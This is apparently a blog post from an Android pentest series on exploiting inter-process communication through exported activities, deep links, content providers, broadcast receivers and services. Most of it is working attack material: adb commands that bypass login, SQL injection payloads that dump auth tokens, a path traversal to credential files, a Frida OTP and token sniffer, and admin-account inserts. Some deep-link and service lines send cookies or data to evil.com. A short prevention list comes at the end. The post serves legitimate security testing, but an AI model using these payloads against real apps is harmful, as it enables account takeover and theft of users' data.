Attacking Android IPC: Intents, Content Providers, and Broadcast Receivers
- Android Pentest Lab Build
- Android SSL Pinning Bypass with Burp Suite
- Frida Method Hooking for Android App Analysis
- Hooking Native Libraries with Frida Interceptor
- From APK to Source: Complete Android Reverse Engineering Workflow
- Bypassing Root Detection and Emulator Checks on Android
- Attacking Android IPC: Intents, Content Providers, and Broadcast Receivers
This is part seven of my Android pentest series. Last week we covered bypassing root and emulator detection. Now let’s look at one of Android’s biggest attack surfaces that most testers overlook — inter-process communication.
Android apps don’t exist in isolation. They talk to each other through IPC mechanisms: Intents, Content Providers, Broadcast Receivers, and bound Services. When developers expose these components without proper access controls, we can exploit them to steal data, trigger privileged actions, or chain into full compromise.
I find IPC bugs on almost every Android assessment. They’re everywhere because developers don’t realize the implications of android:exported="true".
Understanding the Attack Surface
The AndroidManifest.xml declares all of an app’s components. Any component with android:exported="true" or an <intent-filter> is accessible to other apps — including ours.
Start by pulling the manifest from a decompiled APK:
apktool d target.apk -o target/
cat target/AndroidManifest.xml
Look for:
<!-- Exported activity - anyone can launch this -->
<activity android:name=".admin.AdminPanel" android:exported="true" />
<!-- Intent filter makes it implicitly exported -->
<activity android:name=".DeepLinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="myapp" android:host="action" />
</intent-filter>
</activity>
<!-- Exported content provider - data access -->
<provider
android:name=".data.UserProvider"
android:authorities="com.target.provider"
android:exported="true" />
<!-- Exported broadcast receiver -->
<receiver android:name=".AdminReceiver" android:exported="true">
<intent-filter>
<action android:name="com.target.ADMIN_ACTION" />
</intent-filter>
</receiver>
Quick Enumeration with drozer
If you have drozer set up (you should), it makes enumeration fast:
# List attack surface
dz> run app.package.attacksurface com.target.app
# List exported activities
dz> run app.activity.info -a com.target.app
# List exported content providers
dz> run app.provider.info -a com.target.app
# List exported broadcast receivers
dz> run app.broadcast.info -a com.target.app
# List exported services
dz> run app.service.info -a com.target.app
Attacking Exported Activities
Exported activities are the most straightforward. If an admin panel, settings page, or debug activity is exported, we can launch it directly — bypassing any authentication flow.
Launching Activities with ADB
# Launch a specific activity
adb shell am start -n com.target.app/.admin.AdminPanel
# Launch with extras (passing data)
adb shell am start -n com.target.app/.TransferActivity \
--es "account" "attacker-account" \
--ei "amount" 10000
# Launch with a data URI
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "myapp://action/delete?id=1"
Real-World Example: Auth Bypass
On a recent engagement the app had a ProfileActivity that displayed user data and was only supposed to be accessible after login. But it was exported:
<activity android:name=".ui.ProfileActivity" android:exported="true" />
Launching it directly skipped the entire authentication flow:
adb shell am start -n com.target.app/.ui.ProfileActivity
Suddenly I’m looking at the last logged-in user’s profile data without any credentials. To take this further, I checked what extras the activity expected by decompiling it:
// From the decompiled ProfileActivity
String userId = getIntent().getStringExtra("user_id");
if (userId == null) {
userId = getCurrentUserId(); // Falls back to cached user
}
loadProfile(userId);
So we can also pass arbitrary user IDs:
adb shell am start -n com.target.app/.ui.ProfileActivity \
--es "user_id" "admin"
IDOR through an exported activity. Combined with no server-side authorization check on the profile API, this was straight-up access to any user’s data.
Attacking Deep Links
Deep links are a special case of exported activities. Apps register URL schemes that let websites or other apps open specific screens. These are often poorly validated.
Finding Deep Links
# From the manifest
grep -A5 "intent-filter" target/AndroidManifest.xml | grep -E "scheme|host|path"
# Or use adb
adb shell dumpsys package com.target.app | grep -A5 "intent-filter"
Exploiting Deep Links
# Basic deep link
adb shell am start -a android.intent.action.VIEW \
-d "myapp://settings/reset-password?token=test"
# Web deep link (App Links)
adb shell am start -a android.intent.action.VIEW \
-d "https://target.com/app/transfer?to=attacker&amount=1000"
Common deep link vulnerabilities:
- Open redirect —
myapp://navigate?url=https://evil.com - JavaScript injection in WebViews —
myapp://webview?url=javascript:alert(document.cookie) - Parameter injection — Deep link parameters passed directly to API calls without validation
WebView Deep Link Attack
If a deep link opens a WebView, test for JavaScript execution:
# XSS via deep link
adb shell am start -a android.intent.action.VIEW \
-d "myapp://web?url=https://evil.com/steal.html"
# JavaScript scheme
adb shell am start -a android.intent.action.VIEW \
-d "myapp://web?url=javascript:document.location='https://evil.com/?c='%2Bdocument.cookie"
This is devastating when the WebView has setJavaScriptEnabled(true) and loads the URL from the intent parameter without validation. If the WebView also has a JavaScript interface (addJavascriptInterface), you might get code execution.
Attacking Content Providers
Content Providers expose structured data through a URI-based interface. When exported, they’re basically an unauthenticated database API.
Querying Providers
# Query all records
adb shell content query --uri content://com.target.provider/users
# Query with projection (specific columns)
adb shell content query --uri content://com.target.provider/users \
--projection "username:password:email"
# Query with selection (WHERE clause)
adb shell content query --uri content://com.target.provider/users \
--where "role='admin'"
SQL Injection in Content Providers
Content Providers that use raw SQL queries are vulnerable to injection through the selection parameter:
# Test for SQL injection
adb shell content query --uri content://com.target.provider/users \
--where "1=1) OR 1=1--"
# Extract table names
adb shell content query --uri content://com.target.provider/users \
--where "1=1) UNION SELECT name,sql,null FROM sqlite_master--"
# Dump another table
adb shell content query --uri content://com.target.provider/users \
--where "1=1) UNION SELECT token,refresh_token,null FROM auth_tokens--"
With drozer:
# Enumerate URIs
dz> run scanner.provider.finduris -a com.target.app
# Test for SQL injection
dz> run scanner.provider.injection -a com.target.app
# Query with injection
dz> run app.provider.query content://com.target.provider/users \
--selection "1=1) UNION SELECT sql,null FROM sqlite_master--"
Path Traversal in File Providers
Some Content Providers serve files. If they don’t validate the path, we can read arbitrary files:
# Normal file access
adb shell content read --uri content://com.target.fileprovider/files/document.pdf
# Path traversal
adb shell content read --uri content://com.target.fileprovider/files/..%2F..%2F..%2Fdata%2Fdata%2Fcom.target.app%2Fshared_prefs%2Fauth.xml
With Frida:
Java.perform(function() {
var Uri = Java.use("android.net.Uri");
var cr = Java.use("android.app.ActivityThread").currentApplication()
.getContentResolver();
var uri = Uri.parse("content://com.target.fileprovider/files/../../../../etc/hosts");
var stream = cr.openInputStream(uri);
// Read the stream
var BufferedReader = Java.use("java.io.BufferedReader");
var InputStreamReader = Java.use("java.io.InputStreamReader");
var reader = BufferedReader.$new(InputStreamReader.$new(stream));
var line;
while ((line = reader.readLine()) !== null) {
console.log(line);
}
});
Insert and Update Operations
If the provider allows writes, you can modify the app’s data:
# Insert a record
adb shell content insert --uri content://com.target.provider/users \
--bind username:s:admin2 \
--bind password:s:hacked \
--bind role:s:admin
# Update a record
adb shell content update --uri content://com.target.provider/users \
--bind role:s:admin \
--where "username='attacker'"
Creating an admin account through an exported Content Provider. I’ve seen this in production.
Attacking Broadcast Receivers
Broadcast Receivers listen for system or app events. Exported receivers can be triggered by any app, which leads to interesting attacks.
Sending Broadcasts
# Send a broadcast
adb shell am broadcast -a com.target.ADMIN_ACTION \
-n com.target.app/.AdminReceiver
# With extras
adb shell am broadcast -a com.target.RESET_PASSWORD \
--es "email" "attacker@evil.com" \
--es "user_id" "victim"
# Ordered broadcast (with priority)
adb shell am broadcast -a com.target.PAYMENT_COMPLETE \
--ei "amount" 0 \
--es "status" "success"
Broadcast Sniffing
Register a receiver to capture broadcasts the app sends. Useful for grabbing tokens, OTPs, or sensitive data:
Java.perform(function() {
var IntentFilter = Java.use("android.content.IntentFilter");
var BroadcastReceiver = Java.use("android.content.BroadcastReceiver");
var Context = Java.use("android.content.Context");
var filter = IntentFilter.$new();
filter.addAction("com.target.OTP_RECEIVED");
filter.addAction("com.target.AUTH_TOKEN");
filter.setPriority(999);
var receiver = Java.registerClass({
name: "com.attacker.Sniffer",
superClass: BroadcastReceiver,
methods: {
onReceive: function(context, intent) {
console.log("[!] Intercepted broadcast:");
console.log(" Action: " + intent.getAction());
var extras = intent.getExtras();
if (extras) {
var keys = extras.keySet().iterator();
while (keys.hasNext()) {
var key = keys.next();
console.log(" " + key + " = " + extras.get(key));
}
}
}
}
});
var app = Java.use("android.app.ActivityThread").currentApplication();
app.registerReceiver(receiver.$new(), filter);
console.log("[*] Broadcast sniffer registered");
});
Real-World Example: OTP Hijacking
App sends a broadcast with the OTP for display in a notification. No permission protection:
<receiver android:name=".OTPDisplayReceiver" android:exported="true">
<intent-filter>
<action android:name="com.target.NEW_OTP" />
</intent-filter>
</receiver>
Any app on the device can register a higher-priority receiver for com.target.NEW_OTP and grab the OTP before the legitimate receiver sees it. On Android < 14 this works with ordered broadcasts. Combined with an exported activity that triggers the OTP send, you have a complete authentication bypass.
Attacking Bound Services
Services that accept bindings from other apps can receive arbitrary messages:
# Start a service
adb shell am startservice -n com.target.app/.SyncService \
--es "action" "sync_all" \
--es "dest" "https://evil.com/exfil"
For more complex service interactions (Messenger or AIDL), you’ll need to write a small app or use Frida to bind to the service:
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
var ComponentName = Java.use("android.content.ComponentName");
var intent = Intent.$new();
intent.setComponent(ComponentName.$new("com.target.app", "com.target.app.ExportedService"));
var app = Java.use("android.app.ActivityThread").currentApplication();
app.startService(intent);
console.log("[*] Service triggered");
});
Chaining IPC Attacks
The real power of IPC attacks comes from chaining them. Here’s a chain I used on an engagement:
- Exported Activity with deep link accepted a URL parameter
- WebView loaded the URL with JavaScript enabled and
addJavascriptInterface - JavaScript bridge had a method that wrote to a Content Provider
- Content Provider had no write validation
- Modified the auth token stored in the provider’s database
The chain: Malicious link → Deep link → WebView → JS bridge → Content Provider write → Account takeover.
Each component in isolation might look low-risk. Chained together, it’s a critical finding.
Automation Script
I use this bash script to quickly enumerate the IPC attack surface:
#!/bin/bash
PKG=$1
if [ -z "$PKG" ]; then
echo "Usage: $0 <package_name>"
exit 1
fi
echo "=== IPC Attack Surface for $PKG ==="
echo ""
echo "--- Exported Activities ---"
adb shell dumpsys package $PKG | grep -A1 "Activity " | grep -E "exported=true"
echo ""
echo "--- Deep Links ---"
adb shell dumpsys package $PKG | grep -B1 -A10 "intent-filter" | grep -E "scheme|host|path|Action"
echo ""
echo "--- Content Providers ---"
adb shell dumpsys package $PKG | grep -A3 "Provider " | grep -E "authority|exported"
echo ""
echo "--- Broadcast Receivers ---"
adb shell dumpsys package $PKG | grep -A2 "Receiver " | grep -E "exported=true"
echo ""
echo "--- Services ---"
adb shell dumpsys package $PKG | grep -A2 "Service " | grep -E "exported=true"
echo ""
echo "--- Permissions ---"
adb shell dumpsys package $PKG | grep "permission:" | head -20
Prevention (What to Tell Developers)
When you’re writing up these findings:
- Don’t export components unnecessarily. Set
android:exported="false"unless the component truly needs external access. - Use custom permissions for components that must be exported:
android:permission="com.target.ADMIN_PERMISSION" - Validate all Intent extras. Never trust data from incoming Intents.
- Use signature-level permissions for IPC between your own apps.
- Content Providers should use parameterized queries. No raw SQL with user input.
- File Providers must validate paths. Canonicalize and check that the resolved path is within allowed directories.
- Use
LocalBroadcastManager(orLiveData) for internal broadcasts. Don’t send sensitive data via global broadcasts.
Related Posts
- Root/Emulator Detection Bypass — Get past the front door
- Frida Method Hooking — Runtime analysis fundamentals
- APK Reverse Engineering — Finding IPC components in decompiled code
- APK Analysis Cheat Sheet — Quick reference for static analysis
If you enjoyed this post please consider subscribing to the feed!